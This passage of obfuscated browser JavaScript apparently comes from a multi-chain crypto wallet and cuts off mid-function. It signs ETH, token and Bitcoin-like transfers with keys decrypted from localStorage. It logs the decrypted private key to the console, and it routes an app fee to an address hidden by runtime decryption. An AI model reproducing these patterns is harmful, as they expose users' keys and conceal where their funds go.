_0x15c27c=_0x43af5e[_0x28a677(0x362)][_0x43af5e[_0x28a677(0x183)+'dex']][_0x28a677(0x377)];document[_0x28a677(0x2e7)+_0x28a677(0x258)](_0x28a677(0x1ee)+_0x28a677(0x198))['innerText']=CoinsJson[_0x15c27c][_0x28a677(0x2ce)],document[_0x28a677(0x2e7)+_0x28a677(0x258)]('tokenSelec'+_0x28a677(0x1a3))[_0x28a677(0x377)]=CoinsJson[_0x15c27c][_0x28a677(0x2ce)],document[_0x28a677(0x2e7)+'ById'](_0x28a677(0x175)+'ce')[_0x28a677(0x377)]='',document[_0x28a677(0x2e7)+'ById'](_0x28a677(0x375)+_0x28a677(0x27e))[_0x28a677(0x377)]='';if(CoinsJson[_0x15c27c][_0x28a677(0x18b)+'e']==_0x28a677(0x29e))document['getElement'+_0x28a677(0x258)](_0x28a677(0x1a9)+_0x28a677(0x31d))[_0x28a677(0x17d)][_0x28a677(0x15b)]='block',document['getElement'+_0x28a677(0x258)](_0x28a677(0x351)+'n')['style'][_0x28a677(0x15b)]=_0x28a677(0x16c),document['getElement'+_0x28a677(0x258)](_0x28a677(0x207)+'tion')[_0x28a677(0x17d)][_0x28a677(0x15b)]='none',document[_0x28a677(0x2e7)+_0x28a677(0x258)](_0x28a677(0x12d)+_0x28a677(0x3b3))[_0x28a677(0x377)]=_0x28a677(0x265)+CoinsJson[_0x15c27c][_0x28a677(0x2ce)]['toUpperCas'+'e']()+_0x28a677(0x39a);else CoinsJson[_0x15c27c][_0x28a677(0x18b)+'e']=='tron'?(document[_0x28a677(0x2e7)+'ById'](_0x28a677(0x207)+_0x28a677(0x31d))[_0x28a677(0x17d)][_0x28a677(0x15b)]=_0x28a677(0x2fb),document[_0x28a677(0x2e7)+_0x28a677(0x258)](_0x28a677(0x1a9)+'tion')[_0x28a677(0x17d)][_0x28a677(0x15b)]='none',document[_0x28a677(0x2e7)+_0x28a677(0x258)](_0x28a677(0x351)+'n')[_0x28a677(0x17d)][_0x28a677(0x15b)]=_0x28a677(0x16c)):(document['getElement'+'ById'](_0x28a677(0x1a9)+'tion')[_0x28a677(0x17d)][_0x28a677(0x15b)]='none',document[_0x28a677(0x2e7)+'ById'](_0x28a677(0x207)+_0x28a677(0x31d))[_0x28a677(0x17d)]['display']=_0x28a677(0x16c),document[_0x28a677(0x2e7)+_0x28a677(0x258)]('sendSectio'+'n')[_0x28a677(0x17d)][_0x28a677(0x15b)]='block',EstimateFee());}),document['getElement'+_0x481ed0(0x258)](_0x481ed0(0x208)+_0x481ed0(0x2f0))[_0x481ed0(0x10e)+_0x481ed0(0x370)](_0x481ed0(0x3ba),function(){const _0x460c3c=_0x481ed0;document['getElement'+_0x460c3c(0x258)]('Transactio'+_0x460c3c(0x313))[_0x460c3c(0x377)]='',selectedTokenAddress='';const _0x5d0118=this[_0x460c3c(0x109)];_0x5d0118===_0x460c3c(0x275)?(document[_0x460c3c(0x2e7)+_0x460c3c(0x258)](_0x460c3c(0x1a9)+_0x460c3c(0x31d))[_0x460c3c(0x17d)][_0x460c3c(0x15b)]=_0x460c3c(0x16c),document[_0x460c3c(0x2e7)+_0x460c3c(0x258)]('sendSectio'+'n')[_0x460c3c(0x17d)]['display']=_0x460c3c(0x16c)):(document[_0x460c3c(0x2e7)+_0x460c3c(0x258)](_0x460c3c(0x1a9)+_0x460c3c(0x31d))[_0x460c3c(0x17d)][_0x460c3c(0x15b)]='none',document[_0x460c3c(0x2e7)+_0x460c3c(0x258)](_0x460c3c(0x351)+'n')[_0x460c3c(0x17d)][_0x460c3c(0x15b)]=_0x460c3c(0x16c));const _0x41bf63=this[_0x460c3c(0x362)][this[_0x460c3c(0x183)+'dex']],_0x4406ab=_0x41bf63['getAttribu'+'te'](_0x460c3c(0x221));this[_0x460c3c(0x17d)][_0x460c3c(0x304)+_0x460c3c(0x2f2)]=_0x460c3c(0x333)+_0x4406ab+')',document[_0x460c3c(0x2e7)+_0x460c3c(0x258)]('cryptoLogo')[_0x460c3c(0x15a)]=_0x4406ab,saveSelections();});function loadEthereumTokens1(){const _0x1c0791=_0x481ed0,_0x303518=document[_0x1c0791(0x2e7)+_0x1c0791(0x258)]('tokenSelec'+'tETH');_0x303518[_0x1c0791(0x2ba)]='';const _0x1c399c=document[_0x1c0791(0x1ae)+_0x1c0791(0x145)]('option');_0x1c399c[_0x1c0791(0x109)]=_0x1c0791(0x275),_0x1c399c['text']=_0x1c0791(0x148)+'eum)',_0x303518[_0x1c0791(0x1ad)+'d'](_0x1c399c);const _0x365a07=CoinsJson[_0x1c0791(0x124)][_0x1c0791(0x3b1)];for(const _0x40e617 in _0x365a07){const _0x5cc55e=document[_0x1c0791(0x1ae)+_0x1c0791(0x145)](_0x1c0791(0x150));_0x5cc55e[_0x1c0791(0x109)]=_0x365a07[_0x40e617][_0x1c0791(0x2ed)+_0x1c0791(0x26b)],_0x5cc55e[_0x1c0791(0x24a)]=_0x40e617+'\x20('+_0x365a07[_0x40e617]['symbol']+')',_0x303518[_0x1c0791(0x1ad)+'d'](_0x5cc55e);}}document[_0x481ed0(0x2e7)+'ById'](_0x481ed0(0x128)+_0x481ed0(0x10b))[_0x481ed0(0x10e)+'stener'](_0x481ed0(0x1f8),async function(){const _0x52fc9c=_0x481ed0,_0x1ea34b=document[_0x52fc9c(0x2e7)+_0x52fc9c(0x258)](_0x52fc9c(0x369)+_0x52fc9c(0x225))[_0x52fc9c(0x109)][_0x52fc9c(0x214)](),_0x54cd70=document[_0x52fc9c(0x2e7)+_0x52fc9c(0x258)](_0x52fc9c(0x2dd)+_0x52fc9c(0x198))[_0x52fc9c(0x109)]['trim'](),_0x3e9dbf=document[_0x52fc9c(0x2e7)+'ById'](_0x52fc9c(0x1ee)+_0x52fc9c(0x198))['innerText'],_0x15f0c8=document[_0x52fc9c(0x2e7)+_0x52fc9c(0x258)](_0x52fc9c(0x208)+_0x52fc9c(0x2f0)),_0x21c55d=_0x15f0c8[_0x52fc9c(0x362)][_0x15f0c8['selectedIn'+'dex']][_0x52fc9c(0x377)];document[_0x52fc9c(0x2e7)+'ById']('sendEVMBut'+_0x52fc9c(0x3b3))[_0x52fc9c(0x17d)][_0x52fc9c(0x15b)]=_0x52fc9c(0x16c),document['getElement'+_0x52fc9c(0x258)](_0x52fc9c(0x399)+_0x52fc9c(0x3b5))[_0x52fc9c(0x17d)][_0x52fc9c(0x15b)]=_0x52fc9c(0x1fb)+'ck',_0x3e9dbf===CoinsJson[_0x21c55d][_0x52fc9c(0x2ce)]?(console[_0x52fc9c(0x35d)]('sendEther.'+'..'),await sendEther(_0x1ea34b,_0x54cd70)):(console[_0x52fc9c(0x35d)](_0x52fc9c(0x2e6)+_0x52fc9c(0x190)),await sendEVMToken(_0x1ea34b,_0x54cd70,selectedTokenAddress)),document[_0x52fc9c(0x2e7)+_0x52fc9c(0x258)](_0x52fc9c(0x12d)+_0x52fc9c(0x3b3))[_0x52fc9c(0x17d)][_0x52fc9c(0x15b)]='inline-blo'+'ck',document[_0x52fc9c(0x2e7)+_0x52fc9c(0x258)]('sendEVMSpi'+_0x52fc9c(0x3b5))[_0x52fc9c(0x17d)]['display']=_0x52fc9c(0x16c);});async function sendEther(_0x28a850,_0x32838e){const _0x392eb9=_0x481ed0,_0x1231dd=document['getElement'+_0x392eb9(0x258)]('blockchain'+'Select'),_0x1ed391=_0x1231dd['options'][_0x1231dd[_0x392eb9(0x183)+_0x392eb9(0x3b0)]][_0x392eb9(0x377)],_0x345b93=new Web3(CoinsJson[_0x1ed391][_0x392eb9(0x2a3)]),_0x3740d3=document[_0x392eb9(0x2e7)+_0x392eb9(0x258)](_0x392eb9(0x1b0)+'ect')[_0x392eb9(0x183)+'dex'],_0x39f4bf=loadKeysFromLocalStorage(CoinsJson[_0x1ed391][_0x392eb9(0x2ce)]);console[_0x392eb9(0x35d)](_0x392eb9(0x291),_0x39f4bf);const _0x45fedd=_0x39f4bf[_0x3740d3][_0x392eb9(0x1ef)];console['log'](_0x392eb9(0x379)+'ex:',_0x3740d3),console['log'](_0x392eb9(0x1ef)+_0x392eb9(0x2bf),_0x45fedd);const _0x292580=CryptoJS[_0x392eb9(0x35c)]['decrypt'](_0x45fedd,pass)['toString'](CryptoJS[_0x392eb9(0x1dc)][_0x392eb9(0x196)]),_0x5052cb=_0x39f4bf[_0x3740d3][_0x392eb9(0x1ec)];console['log'](_0x392eb9(0x306)+_0x392eb9(0x318),_0x5052cb),console['log'](_0x392eb9(0x142),_0x28a850),console[_0x392eb9(0x35d)](_0x392eb9(0x188)+_0x392eb9(0x278)+_0x392eb9(0x37d)+'h.net.getI'+'d():',await _0x345b93['eth'][_0x392eb9(0x1db)][_0x392eb9(0x1bb)]());try{const _0x3cc999=await _0x345b93[_0x392eb9(0x275)][_0x392eb9(0x2c4)+_0x392eb9(0x27b)](_0x5052cb);console[_0x392eb9(0x35d)](_0x392eb9(0x32b),_0x3cc999),console[_0x392eb9(0x35d)]('web3.utils'+'.toWei(amo'+_0x392eb9(0x14c)+_0x392eb9(0x1b5),_0x345b93[_0x392eb9(0x3a1)][_0x392eb9(0x12e)](_0x32838e,_0x392eb9(0x373)));let _0x372a2a={'from':_0x5052cb,'nonce':_0x345b93[_0x392eb9(0x3a1)]['toHex'](_0x3cc999),'gasPrice':_0x345b93[_0x392eb9(0x3a1)]['toHex'](await _0x345b93['eth'][_0x392eb9(0x260)+'e']()),'to':_0x28a850,'value':_0x345b93[_0x392eb9(0x3a1)][_0x392eb9(0x12e)](_0x32838e,_0x392eb9(0x373)),'chainId':_0x345b93[_0x392eb9(0x3a1)][_0x392eb9(0x341)](await _0x345b93[_0x392eb9(0x275)][_0x392eb9(0x1db)]['getId']())};const _0x2086e5=await _0x345b93['eth'][_0x392eb9(0x288)+'s'](_0x372a2a);console[_0x392eb9(0x35d)](_0x392eb9(0x3a5),_0x2086e5),_0x372a2a[_0x392eb9(0x298)]=_0x345b93['utils'][_0x392eb9(0x341)](_0x2086e5),console[_0x392eb9(0x35d)](_0x392eb9(0x1f9)+_0x392eb9(0x2f6),_0x2086e5),console[_0x392eb9(0x35d)]('rawTransac'+'tion:',_0x372a2a);const _0x34676d=await _0x345b93['eth'][_0x392eb9(0x1f3)][_0x392eb9(0x163)+_0x392eb9(0x2ad)](_0x372a2a,_0x292580),_0x5085eb=await _0x345b93[_0x392eb9(0x275)]['sendSigned'+_0x392eb9(0x139)+'n'](_0x34676d[_0x392eb9(0x1cb)+'tion']);console[_0x392eb9(0x35d)](_0x392eb9(0x2de)+_0x392eb9(0x187)+'essful\x20wit'+_0x392eb9(0x2f4),_0x5085eb['transactio'+'nHash']),ShowToast(_0x392eb9(0x38d)+_0x392eb9(0x259)+_0x5085eb[_0x392eb9(0x136)+_0x392eb9(0x355)]),ShowTransactionInfo(_0x1ed391,_0x5085eb['transactio'+_0x392eb9(0x355)]);}catch(_0x1ccda9){console[_0x392eb9(0x39c)](_0x392eb9(0x2e9)+'ing\x20ETH:',_0x1ccda9),ShowToast(_0x392eb9(0x125)+_0x392eb9(0x2a2)+'eum.');}}async function sendEVMToken(_0x5dd5d6,_0x495a86,_0x35505f){const _0x2eb668=_0x481ed0,_0x3bfced=document['getElement'+_0x2eb668(0x258)](_0x2eb668(0x208)+_0x2eb668(0x2f0)),_0x16452f=_0x3bfced['options'][_0x3bfced[_0x2eb668(0x183)+_0x2eb668(0x3b0)]][_0x2eb668(0x377)],_0x43bd9f=new Web3(CoinsJson[_0x2eb668(0x124)][_0x2eb668(0x2a3)]),_0x2c9d37=document[_0x2eb668(0x2e7)+_0x2eb668(0x258)](_0x2eb668(0x1b0)+_0x2eb668(0x252))[_0x2eb668(0x183)+_0x2eb668(0x3b0)],_0x16c220=loadKeysFromLocalStorage(CoinsJson[_0x16452f]['symbol']),_0x2a91f8=_0x16c220[_0x2c9d37][_0x2eb668(0x1ef)],_0x4ff4bb=CryptoJS[_0x2eb668(0x35c)][_0x2eb668(0x2b7)](_0x2a91f8,pass)[_0x2eb668(0x1c9)](CryptoJS['enc'][_0x2eb668(0x196)]),_0x8aa098=_0x16c220[_0x2c9d37]['address'],_0x5d12ab=[{'constant':!![],'inputs':[],'name':_0x2eb668(0x385),'outputs':[{'name':'','type':_0x2eb668(0x2df)}],'payable':![],'stateMutability':_0x2eb668(0x236),'type':_0x2eb668(0x367)},{'constant':![],'inputs':[{'name':_0x2eb668(0x14f),'type':_0x2eb668(0x1ec)},{'name':_0x2eb668(0x2ca),'type':_0x2eb668(0x250)}],'name':_0x2eb668(0x22e),'outputs':[{'name':'','type':_0x2eb668(0x384)}],'payable':![],'stateMutability':_0x2eb668(0x302),'type':_0x2eb668(0x367)},{'constant':!![],'inputs':[],'name':'totalSuppl'+'y','outputs':[{'name':'','type':_0x2eb668(0x250)}],'payable':![],'stateMutability':_0x2eb668(0x236),'type':'function'},{'constant':![],'inputs':[{'name':'_from','type':_0x2eb668(0x1ec)},{'name':'_to','type':_0x2eb668(0x1ec)},{'name':_0x2eb668(0x2ca),'type':'uint256'}],'name':_0x2eb668(0x293)+'om','outputs':[{'name':'','type':_0x2eb668(0x384)}],'payable':![],'stateMutability':_0x2eb668(0x302),'type':_0x2eb668(0x367)},{'constant':!![],'inputs':[],'name':'decimals','outputs':[{'name':'','type':_0x2eb668(0x350)}],'payable':![],'stateMutability':_0x2eb668(0x236),'type':'function'},{'constant':!![],'inputs':[{'name':'_owner','type':_0x2eb668(0x1ec)}],'name':_0x2eb668(0x1b1),'outputs':[{'name':_0x2eb668(0x374),'type':_0x2eb668(0x250)}],'payable':![],'stateMutability':_0x2eb668(0x236),'type':'function'},{'constant':!![],'inputs':[],'name':_0x2eb668(0x2ce),'outputs':[{'name':'','type':_0x2eb668(0x2df)}],'payable':![],'stateMutability':_0x2eb668(0x236),'type':_0x2eb668(0x367)},{'constant':![],'inputs':[{'name':_0x2eb668(0x156),'type':'address'},{'name':_0x2eb668(0x2ca),'type':_0x2eb668(0x250)}],'name':_0x2eb668(0x201),'outputs':[{'name':'','type':_0x2eb668(0x384)}],'payable':![],'stateMutability':_0x2eb668(0x302),'type':_0x2eb668(0x367)},{'constant':!![],'inputs':[{'name':_0x2eb668(0x2e4),'type':_0x2eb668(0x1ec)},{'name':_0x2eb668(0x14f),'type':_0x2eb668(0x1ec)}],'name':_0x2eb668(0x217),'outputs':[{'name':'','type':'uint256'}],'payable':![],'stateMutability':_0x2eb668(0x236),'type':_0x2eb668(0x367)},{'payable':!![],'stateMutability':_0x2eb668(0x2e1),'type':_0x2eb668(0x1eb)},{'anonymous':![],'inputs':[{'indexed':!![],'name':_0x2eb668(0x1c4),'type':_0x2eb668(0x1ec)},{'indexed':!![],'name':_0x2eb668(0x186),'type':'address'},{'indexed':![],'name':_0x2eb668(0x109),'type':_0x2eb668(0x250)}],'name':_0x2eb668(0x30f),'type':_0x2eb668(0x205)},{'anonymous':![],'inputs':[{'indexed':!![],'name':'from','type':_0x2eb668(0x1ec)},{'indexed':!![],'name':'to','type':_0x2eb668(0x1ec)},{'indexed':![],'name':_0x2eb668(0x109),'type':_0x2eb668(0x250)}],'name':_0x2eb668(0x21c),'type':_0x2eb668(0x205)}],_0x15ffae=new _0x43bd9f[(_0x2eb668(0x275))]['Contract'](_0x5d12ab,_0x35505f);try{var _0x3ac6f7=await _0x15ffae[_0x2eb668(0x256)][_0x2eb668(0x301)]()['call']();console['log'](_0x2eb668(0x11a)+_0x2eb668(0x296)+':',_0x3ac6f7),_0x3ac6f7=Number(_0x3ac6f7),console['log'](_0x2eb668(0x3b8)+_0x2eb668(0x3b6),_0x3ac6f7);const _0x2fb101=(_0x495a86*Math[_0x2eb668(0x227)](-0x1ba2+0x687*0x1+0x1525,_0x3ac6f7))[_0x2eb668(0x1c9)]();console[_0x2eb668(0x35d)](_0x2eb668(0x121)+_0x2eb668(0x286)+_0x2eb668(0x123)+':',_0x2fb101['toString']());const _0x5f20aa=_0x43bd9f['eth']['abi']['encodeFunc'+'tionCall']({'name':_0x2eb668(0x201),'type':_0x2eb668(0x367),'inputs':[{'type':'address','name':'to'},{'type':_0x2eb668(0x250),'name':_0x2eb668(0x109)}]},[_0x5dd5d6,_0x2fb101['toString']()]);console['log'](_0x2eb668(0x170),_0x5f20aa);const _0x41f600=await _0x43bd9f['eth']['getTransac'+_0x2eb668(0x27b)](_0x8aa098);let _0x3625c3={'from':_0x8aa098,'nonce':_0x43bd9f[_0x2eb668(0x3a1)]['toHex'](_0x41f600),'gasPrice':_0x43bd9f[_0x2eb668(0x3a1)]['toHex'](await _0x43bd9f[_0x2eb668(0x275)][_0x2eb668(0x260)+'e']()),'to':_0x35505f,'data':_0x5f20aa,'chainId':_0x43bd9f['utils'][_0x2eb668(0x341)](await _0x43bd9f['eth'][_0x2eb668(0x1db)][_0x2eb668(0x1bb)]())};const _0x283b46=await _0x43bd9f[_0x2eb668(0x275)]['estimateGa'+'s'](_0x3625c3);_0x3625c3['gasLimit']=_0x43bd9f['utils'][_0x2eb668(0x341)](_0x283b46),console[_0x2eb668(0x35d)](_0x2eb668(0x1f9)+_0x2eb668(0x2f6),_0x283b46),console[_0x2eb668(0x35d)](_0x2eb668(0x1cb)+_0x2eb668(0x364),_0x3625c3);const _0x3663b8=await _0x43bd9f[_0x2eb668(0x275)]['accounts'][_0x2eb668(0x163)+_0x2eb668(0x2ad)](_0x3625c3,_0x4ff4bb),_0x5e07bb=await _0x43bd9f['eth'][_0x2eb668(0x14a)+_0x2eb668(0x139)+'n'](_0x3663b8[_0x2eb668(0x1cb)+_0x2eb668(0x31d)]);console[_0x2eb668(0x35d)](_0x2eb668(0x3a2)+'saction\x20su'+_0x2eb668(0x261)+'ith\x20hash:',_0x5e07bb[_0x2eb668(0x136)+_0x2eb668(0x355)]),ShowToast('Token\x20sent'+_0x2eb668(0x137)+'\x20'+_0x5e07bb['transactio'+_0x2eb668(0x355)]),ShowTransactionInfo(_0x16452f,_0x5e07bb[_0x2eb668(0x136)+_0x2eb668(0x355)]);}catch(_0x1a9e68){console['error'](_0x2eb668(0x2e9)+_0x2eb668(0x1fa),_0x1a9e68),ShowToast('Failed\x20to\x20'+_0x2eb668(0x363)+'.');}}document[_0x481ed0(0x2e7)+'ById']('confirmSen'+_0x481ed0(0x219))['addEventLi'+_0x481ed0(0x370)](_0x481ed0(0x1f8),async function(){const _0x48a98b=_0x481ed0,_0x1c1cf2=document[_0x48a98b(0x2e7)+_0x48a98b(0x258)](_0x48a98b(0x208)+_0x48a98b(0x2f0))['value'];document[_0x48a98b(0x2e7)+_0x48a98b(0x258)](_0x48a98b(0x352)+_0x48a98b(0x394))[_0x48a98b(0x17d)][_0x48a98b(0x15b)]=_0x48a98b(0x16c),document[_0x48a98b(0x2e7)+_0x48a98b(0x258)](_0x48a98b(0x143)+'r')[_0x48a98b(0x17d)]['display']=_0x48a98b(0x1fb)+'ck';try{await sendBitcoinLike();}catch(_0x54270f){console[_0x48a98b(0x39c)]('Transactio'+'n\x20failed:',_0x54270f),ShowToast(_0x48a98b(0x125)+_0x48a98b(0x24c)+_0x48a98b(0x24f)+'.');}finally{removeSpinner();}});function removeSpinner(){const _0x40d85b=_0x481ed0;document[_0x40d85b(0x2e7)+_0x40d85b(0x258)](_0x40d85b(0x352)+_0x40d85b(0x394))[_0x40d85b(0x17d)][_0x40d85b(0x15b)]='inline',document[_0x40d85b(0x2e7)+_0x40d85b(0x258)]('sendSpinne'+'r')['style'][_0x40d85b(0x15b)]=_0x40d85b(0x16c);}function removeEVMSpinner(){const _0x31e30c=_0x481ed0;document[_0x31e30c(0x2e7)+_0x31e30c(0x258)](_0x31e30c(0x352)+_0x31e30c(0x394))[_0x31e30c(0x17d)]['display']=_0x31e30c(0x34a),document['getElement'+_0x31e30c(0x258)](_0x31e30c(0x143)+'r')[_0x31e30c(0x17d)][_0x31e30c(0x15b)]=_0x31e30c(0x16c);}async function sendBitcoinLike(){const _0x5c1d5b=_0x481ed0;try{const _0x546976=document['getElement'+'ById'](_0x5c1d5b(0x369)+'put')['value']['trim'](),_0x4b2e81=document[_0x5c1d5b(0x2e7)+_0x5c1d5b(0x258)](_0x5c1d5b(0x2dd)+'t')[_0x5c1d5b(0x109)]['trim']();console[_0x5c1d5b(0x35d)]('receiver:',_0x546976),console['log']('CoinAmount'+':',_0x4b2e81);if(!_0x546976||!_0x4b2e81){ShowToast('Please\x20fil'+_0x5c1d5b(0x144)+_0x5c1d5b(0x218)),removeSpinner();return;}const _0x42cbb8=document[_0x5c1d5b(0x2e7)+'ById'](_0x5c1d5b(0x208)+_0x5c1d5b(0x2f0)),_0x1e3a3e=_0x42cbb8['options'][_0x42cbb8['selectedIn'+'dex']][_0x5c1d5b(0x377)];var _0x3501b7=CoinsJson[_0x1e3a3e][_0x5c1d5b(0x3a8)+'a'];const _0x4c3181=loadKeysFromLocalStorage(CoinsJson[_0x1e3a3e]['symbol']);var _0x23f601=document[_0x5c1d5b(0x2e7)+_0x5c1d5b(0x258)](_0x5c1d5b(0x1b0)+_0x5c1d5b(0x252))[_0x5c1d5b(0x183)+_0x5c1d5b(0x3b0)];const {address:_0x55c07c,privateKey:_0x55f212}=_0x4c3181[_0x23f601];console[_0x5c1d5b(0x35d)](_0x5c1d5b(0x1ac),_0x55c07c);const _0xf373d=CryptoJS[_0x5c1d5b(0x35c)][_0x5c1d5b(0x2b7)](_0x55f212,pass)['toString'](CryptoJS['enc'][_0x5c1d5b(0x196)]);console['log']('DecryptKey'+':',_0xf373d);const _0x2262d0=bitcoin[_0x5c1d5b(0x21a)][_0x5c1d5b(0x3a9)](_0xf373d,_0x3501b7);console['log'](_0x5c1d5b(0x1e2),_0x2262d0);var _0x2268a4=bitcoin[_0x5c1d5b(0x244)][_0x5c1d5b(0x1b4)]({'pubkey':_0x2262d0[_0x5c1d5b(0x23b)],'network':_0x3501b7})[_0x5c1d5b(0x1ec)];console[_0x5c1d5b(0x35d)](_0x5c1d5b(0x110),_0x2268a4);if(_0x55c07c!==_0x2268a4){ShowToast(_0x5c1d5b(0x268)+_0x5c1d5b(0x241));return;}const _0x371d75=new bitcoin['Transactio'+(_0x5c1d5b(0x1dd))](_0x3501b7),_0x178670=await fetchUtxos(_0x1e3a3e,_0x2268a4);let _0x5436ae=-0x15e9+0x3*0x6be+-0x1*-0x1af;console['log'](_0x5c1d5b(0x203),_0x178670),_0x178670['forEach'](_0x256d60=>{const _0x305701=_0x5c1d5b;_0x371d75[_0x305701(0x25c)](_0x256d60[_0x305701(0x279)],_0x256d60[_0x305701(0x1b7)+'n'],0x1a110216b+-0x1ddf0ea8*0x2+-0x6552041c),_0x5436ae+=_0x256d60[_0x305701(0x109)];});var _0x2806ab=CoinsJson[_0x1e3a3e][_0x5c1d5b(0x20f)+_0x5c1d5b(0x118)];_0x2806ab=parseInt(document[_0x5c1d5b(0x2e7)+_0x5c1d5b(0x258)](_0x5c1d5b(0x2bd))['value']*(0x1951588+-0x25bf6*0x4fb+0x1020cdaa)),console['log']('fee:',_0x2806ab);let _0x36d6bf=parseFloat(_0x4b2e81);var _0x12aef8=parseInt(_0x36d6bf*(-0x1*-0x4ec70f1+0xabf6fd0+-0x9b5ffc1*0x1));console[_0x5c1d5b(0x35d)]('totalInput'+_0x5c1d5b(0x277),_0x5436ae),console[_0x5c1d5b(0x35d)](_0x5c1d5b(0x223)+_0x5c1d5b(0x133),_0x12aef8+_0x2806ab);const _0x3b65e9=document[_0x5c1d5b(0x2e7)+_0x5c1d5b(0x258)](_0x5c1d5b(0x1b0)+_0x5c1d5b(0x252))[_0x5c1d5b(0x183)+_0x5c1d5b(0x3b0)];console[_0x5c1d5b(0x35d)](_0x5c1d5b(0x206),_0x5436ae);const _0x449744=CoinsJson[_0x1e3a3e]['APPFee'];let _0x5ec66b=parseInt(_0x12aef8*_0x449744/(-0x67*-0x20+-0x2305+0x1a0d));console['log']('APPFee\x20cal'+':',_0x5ec66b);if(_0x5ec66b<CoinsJson[_0x1e3a3e][_0x5c1d5b(0x371)])_0x5ec66b=CoinsJson[_0x1e3a3e][_0x5c1d5b(0x371)];else _0x5ec66b>CoinsJson[_0x1e3a3e][_0x5c1d5b(0x22b)]&&(_0x5ec66b=CoinsJson[_0x1e3a3e][_0x5c1d5b(0x22b)]);var _0x8cb80=!![];_0x12aef8>=_0x5436ae-_0x2806ab-_0x5ec66b&&(_0x12aef8=parseInt(_0x5436ae-_0x2806ab-_0x5ec66b),ShowToast(_0x5c1d5b(0x2e5)+_0x5c1d5b(0x229)+_0x36d6bf+(_0x5c1d5b(0x28b)+_0x5c1d5b(0x2a6)+_0x5c1d5b(0x1e7))),console['log']('new\x20amount'+_0x5c1d5b(0x2d5),_0x12aef8),_0x8cb80=![]);if(_0x5436ae<_0x12aef8+_0x2806ab+_0x5ec66b){ShowToast(_0x5c1d5b(0x390)+_0x5c1d5b(0x1e6)+_0x5c1d5b(0x238)+_0x5c1d5b(0x365));return;}var _0x422ec6=parseInt(_0x5436ae-_0x12aef8-_0x2806ab-_0x5ec66b);console[_0x5c1d5b(0x35d)](_0x5c1d5b(0x223)+_0x5c1d5b(0x15d),_0x12aef8),console[_0x5c1d5b(0x35d)]('Miner\x20fee:',_0x2806ab),console[_0x5c1d5b(0x35d)](_0x5c1d5b(0x2ae),_0x5ec66b),console['log'](_0x5c1d5b(0x2c7)+'nder:',_0x422ec6),_0x371d75[_0x5c1d5b(0x36e)](_0x546976,_0x12aef8);var _0x17068e=CryptoJS[_0x5c1d5b(0x35c)]['decrypt'](CoinsJson[_0x1e3a3e][_0x5c1d5b(0x1f4)+'r'],ioswz),_0x12c85a=_0x17068e['toString'](CryptoJS[_0x5c1d5b(0x1dc)][_0x5c1d5b(0x196)]);console[_0x5c1d5b(0x35d)](_0x5c1d5b(0x1f4)+_0x5c1d5b(0x305),_0x12c85a),_0x371d75[_0x5c1d5b(0x36e)](_0x12c85a,_0x5ec66b);_0x8cb80&&_0x422ec6>CoinsJson[_0x1e3a3e]['DefaultMin'+_0x5c1d5b(0x118)]&&(console[_0x5c1d5b(0x35d)]('Have\x20Chang'+'e:',_0x422ec6),_0x371d75[_0x5c1d5b(0x36e)](_0x2268a4,_0x422ec6));_0x178670[_0x5c1d5b(0x322)]((_0x58f2a6,_0x7a7f8c)=>{const _0x52aeb5=_0x5c1d5b;_0x371d75[_0x52aeb5(0x1a1)](_0x7a7f8c,_0x2262d0);}),console['log'](_0x5c1d5b(0x271),_0x371d75);const _0x115409=_0x371d75[_0x5c1d5b(0x1a5)](),_0x30fe30=_0x115409['toHex']();console[_0x5c1d5b(0x35d)](_0x5c1d5b(0x20d),_0x30fe30),await broadcastTransaction(_0x1e3a3e,_0x30fe30),ShowToast(_0x5c1d5b(0x139)+_0x5c1d5b(0x1ed));}catch(_0x3964bc){console[_0x5c1d5b(0x39c)]('Error\x20send'+_0x5c1d5b(0x30c),_0x3964bc),ShowToast(_0x5c1d5b(0x125)+'send\x20coin.');}}async function fetchUtxos(_0x518149,_0x279c4b){const _0x5c91c2=_0x481ed0;console[_0x5c91c2(0x35d)](_0x5c91c2(0x154),_0x518149),console['log'](_0x5c91c2(0x108)+_0x5c91c2(0x1de),_0x279c4b);var _0x1d63d8=CoinsJson[_0x518149][_0x5c91c2(0x2ce)];const _0x4871c5=await fetch(_0x5c91c2(0x2a1)+_0x5c91c2(0x3b2)+'her.com/v1'+'/'+_0x1d63d8+(_0x5c91c2(0x10c)+'s/')+_0x279c4b+(_0x5c91c2(0x1f2)+_0x5c91c2(0x1af))),_0x3e6ee6=await _0x4871c5['json']();return _0x3e6ee6[_0x5c91c2(0x3b4)]||[];}async function broadcastTransaction(_0x3b7d92,_0x2777f7){const _0x32d3d3=_0x481ed0;fetch(CoinsJson[_0x3b7d92][_0x32d3d3(0x14e)+'ransaction'],{'method':_0x32d3d3(0x376),'headers':{'Content-Type':_0x32d3d3(0x287)+_0x32d3d3(0x18e)},'body':JSON[_0x32d3d3(0x3a7)]({'tx':_0x2777f7})})[_0x32d3d3(0x1c1)](_0x5d6c89=>_0x5d6c89[_0x32d3d3(0x247)]())[_0x32d3d3(0x1c1)](_0x1011c0=>{const _0x11c94d=_0x32d3d3;console[_0x11c94d(0x35d)](_0x1011c0),ShowToast('Send\x20Succe'+_0x11c94d(0x2ee)),console[_0x11c94d(0x35d)](_0x11c94d(0x139)+'n\x20Broadcas'+_0x11c94d(0x19e)+'action\x20ID:'+'\x20'+_0x1011c0['tx'][_0x11c94d(0x34b)]),ShowTransactionInfo(_0x3b7d92,_0x1011c0['tx'][_0x11c94d(0x34b)]);})[_0x32d3d3(0x176)](_0x358802=>{const _0x4bf21c=_0x32d3d3;console['error'](_0x358802),console[_0x4bf21c(0x35d)]('Error\x20broa'+_0x4bf21c(0x164)+_0x4bf21c(0x24f)),document[_0x4bf21c(0x2e7)+_0x4bf21c(0x258)](_0x4bf21c(0x139)+'nID')[_0x4bf21c(0x377)]=_0x358802+(_0x4bf21c(0x153)+_0x4bf21c(0x23f)+_0x4bf21c(0x13e)+_0x4bf21c(0x18d)+'s\x20too\x20low.');});}async function ShowTransactionInfo(_0xee34b7,_0x4f984d){const _0x9c8597=_0x481ed0;var 